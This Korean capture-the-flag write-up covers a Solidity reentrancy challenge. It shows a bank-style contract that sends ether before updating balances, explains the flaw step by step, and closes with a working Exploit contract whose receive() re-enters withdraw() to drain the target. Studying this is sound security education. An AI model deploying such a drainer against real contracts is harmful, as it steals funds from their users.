문제#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.12;
3

4
import "openzeppelin-contracts-06/math/SafeMath.sol";
5

6
contract Reentrance {
7
    using SafeMath for uint256;
8

9
    mapping(address => uint256) public balances;
10

11
    function donate(address _to) public payable {
12
        balances[_to] = balances[_to].add(msg.value);
13
    }
14

15
    function balanceOf(address _who) public view returns (uint256 balance) {
16
        return balances[_who];
17
    }
18

19
    function withdraw(uint256 _amount) public {
20
        if (balances[msg.sender] >= _amount) {
21
            (bool result,) = msg.sender.call{value: _amount}("");
22
            if (result) {
23
                _amount;
24
            }
25
            balances[msg.sender] -= _amount;
26
        }
27
    }
28

29
    receive() external payable {}
30
}

배경지식#

컨트랙트가 아무 calldata 없이 이더를 받으면 receive()가 실행된다. 이 문제의 공격 컨트랙트도 이 점을 이용한다. 문제 컨트랙트의 withdraw()는 msg.sender.call{value: _amount}("")로 이더를 보낸다. 이때 msg.sender가 컨트랙트라면, 그 컨트랙트의 receive()가 실행될 수 있다. 이 receive()는 단순히 이더를 받기만 하는 함수일 필요가 없다. 공격자는 receive() 안에서 다시 문제 컨트랙트의 withdraw()를 호출할 수 있다.

call은 low-level call이다. 함수 호출에도 쓰이고, 이더 전송에도 쓰인다.

1
(bool result,) = msg.sender.call{value: _amount}("");

여기서는 빈 calldata와 함께 이더를 보내므로, 수신 컨트랙트의 receive()가 실행된다. 또 transfer와 다르게 남은 gas를 넉넉하게 넘겨줄 수 있어서, 수신 컨트랙트가 다시 외부 호출을 수행하기 쉽다. call 자체가 항상 취약하다는 뜻은 아니다. 다만 상태 변경보다 외부 호출이 먼저 일어나면 reentrancy attack의 통로가 된다.

reentrancy attack은 외부 컨트랙트로 제어권을 넘긴 뒤, 아직 상태가 정리되지 않은 함수가 다시 호출되는 공격이다. A를 취약한 은행 컨트랙트, B를 공격 컨트랙트라고 하자.

1. B가 A에 출금을 요청한다.
2. A가 B에게 이더를 보낸다.
3. B의 receive()가 실행된다.
4. B는 receive() 안에서 다시 A의 출금 함수를 호출한다.
5. A의 내부 잔액이 아직 차감되지 않았다면, 같은 잔액으로 다시 출금이 가능하다.

돈을 먼저 보내고 장부를 나중에 고치면, 같은 잔액을 기준으로 출금을 여러 번 반복할 수 있다.

문제 코드 분석#

먼저 balances와 donate()를 보자.

1
mapping(address => uint256) public balances;
2

3
function donate(address _to) public payable {
4
    balances[_to] = balances[_to].add(msg.value);
5
}

balances는 각 주소가 예치한 금액을 기록한다. donate()는 _to 주소의 잔액을 msg.value만큼 증가시킨다. 공격자는 여기서 _to를 address(this), 즉 공격 컨트랙트 주소로 지정한다. 그래야 이후 문제 컨트랙트가 보는 balances[msg.sender]가 공격 컨트랙트의 잔액이 된다.

이제 withdraw()의 검증을 보자.

1
function withdraw(uint256 _amount) public {
2
    if (balances[msg.sender] >= _amount) {

withdraw()는 먼저 balances[msg.sender]가 _amount 이상인지 확인한다. 여기까지는 정상적인 출금 로직처럼 보인다. 하지만 이 검증은 함수 진입 시점의 장부 잔액만 본다. 출금 중간에 다시 withdraw()가 호출되면, 이전 호출의 잔액 차감이 아직 끝나지 않았기 때문에 같은 조건을 다시 통과할 수 있다.

외부 호출은 여기서 일어난다.

1
(bool result,) = msg.sender.call{value: _amount}("");
2
if (result) {
3
    _amount;
4
}

이 부분에서 문제 컨트랙트는 msg.sender에게 이더를 보낸다. msg.sender가 공격 컨트랙트라면 공격 컨트랙트의 receive()가 실행된다. 즉, withdraw()는 아직 실행 중인데 제어권이 공격 컨트랙트로 넘어간다. 공격 컨트랙트는 이 시점에 다시 withdraw()를 호출할 수 있다. if (result) { _amount; }는 실질적으로 아무 상태도 바꾸지 않는다. result를 확인하고 있지만, 성공했을 때 해야 할 장부 정리는 이 블록 안에 없다.

상태 업데이트는 마지막에 온다.

1
balances[msg.sender] -= _amount;

잔액 차감은 이더 전송 이후에 실행된다. 따라서 순서가 다음처럼 된다.

1. 잔액이 충분한지 확인한다.
2. 이더를 먼저 보낸다.
3. 수신 컨트랙트의 receive()가 실행된다.
4. receive()에서 다시 withdraw()를 호출한다.
5. 가장 바깥쪽 호출로 돌아온 뒤에야 잔액을 차감한다.

balances[msg.sender] -= _amount가 외부 호출보다 먼저 실행됐다면, 다시 호출된 withdraw()는 이미 줄어든 잔액을 기준으로 검증을 받았을 것이다. 또한 이 코드는 Solidity 0.6.12 코드다. donate()의 덧셈에는 SafeMath를 쓰지만, 마지막 뺄셈은 그냥 -=를 쓴다. Solidity 0.8 이전의 기본 산술 연산은 underflow를 자동으로 revert하지 않는다. 다만 이 풀이에서는 underflow보다 외부 호출과 상태 업데이트의 순서를 사용한다.

풀이#

공격 컨트랙트가 먼저 donate()로 자기 자신에게 잔액을 만들어둔다. 그 다음 withdraw(value)를 호출하면 문제 컨트랙트는 공격 컨트랙트로 이더를 보낸다. 이더를 받는 순간 공격 컨트랙트의 receive()가 실행된다. 여기서 다시 withdraw()를 호출하면, 문제 컨트랙트의 balances[address(this)]는 아직 차감되지 않은 상태이므로 같은 금액을 다시 출금할 수 있다. 문제 컨트랙트는 외부 호출을 먼저 하고 내부 장부를 나중에 수정한다. 공격 컨트랙트는 그 외부 호출로 실행되는 receive()에서 다시 withdraw()를 호출한다. 이 흐름을 반복하면 문제 컨트랙트의 실제 잔고가 바닥날 때까지 이더를 가져올 수 있다.

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface RE {
5
    function donate(address _to) external payable;
6
    function withdraw(uint256 _amount) external;
7
    function balanceOf(address _who) external view returns (uint256 balance);
8
}
9

10
contract Exploit {
11
    RE public re;
12
    uint256 public value = 1000000000000000 wei;
13

14
    constructor (address _addr) payable {
15
        re = RE(_addr);
16
    }
17

18
    function attack() public payable{
19
        re.donate{value:value}(address(this));
20
        re.withdraw(value);
21
    }
22

23
  receive() external payable {
24
    uint256 balance = re.balanceOf(address(this));
25
            if (balance>0) {
26
            re.withdraw(balance);
27
        }
28
    }
29
}